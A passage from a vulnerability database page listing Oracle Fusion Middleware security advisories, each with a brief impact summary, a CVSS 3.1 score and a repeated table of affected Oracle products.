Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Reports Developer 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to create, delete, or modify critical data, with a CVSS 3.1 base score of 8.1 indicating high confidentiality and integrity impact.
8.1 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Reports Developer 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to create, delete, or modify critical data, leading to unauthorized access with a CVSS 3.1 base score of 7.4.
7.4 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Reports Developer 14.1.2.0.0 enables unauthenticated remote attackers to gain unauthorized access and modify data, with a CVSS 3.1 base score of 9.3, potentially affecting other Oracle products.
9.3 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Reports Developer 14.1.2.0.0 allows unauthenticated attackers with network access to fully compromise the product, rated with a CVSS 3.1 base score of 8.8.
8.8 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Reports Developer 14.1.2.0.0 allows unauthenticated remote attackers to potentially compromise confidentiality, integrity, and availability via HTTP, with a CVSS 3.1 base score of 8.1.
8.1 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 Imperative Web Server allows unauthenticated network attackers via HTTP to modify or delete critical data, with a CVSS 3.1 base score of 5.9 indicating moderate integrity impact.
5.9 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated attackers with HTTPS network access to gain unauthorized read access to certain data, rated with a CVSS 3.1 base score of 5.3.
5.3 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle WebCenter Content versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to perform unauthorized data modifications, read access, and partial denial of service, with a CVSS 3.1 score of 7.1.
7.1 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Access Manager 12.2.1.4.0 and 14.1.2.1.0 enables unauthenticated attackers to exploit SAML access, with a CVSS 3.1 base score of 9.8 indicating severe impacts on confidentiality, integrity, and availability.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated attackers to cause denial of service by crashing or hanging the Imperative Web Server, with a CVSS 3.1 base score of 7.5 due to availability impact.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 3.2.19 allows unauthenticated network attackers to exploit it via HTTP, potentially leading to unauthorized data access and modification, with a CVSS 3.1 base score of 6.1.
6.1 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Web Services Manager versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated remote attackers to compromise system confidentiality, integrity, and availability via HTTPS, with a CVSS 3.1 score of 8.1.
8.1 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical unauthenticated remote code execution vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 has a CVSS 3.1 base score of 9.8, severely impacting confidentiality, integrity, and availability.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated network attackers via HTTP to potentially access critical or all Helidon data, with a CVSS 3.1 base score of 6.8 indicating moderate confidentiality impact.
6.8 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated remote attackers to gain unauthorized access and modify data, with a CVSS 3.1 base score of 9.3.
9.3 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
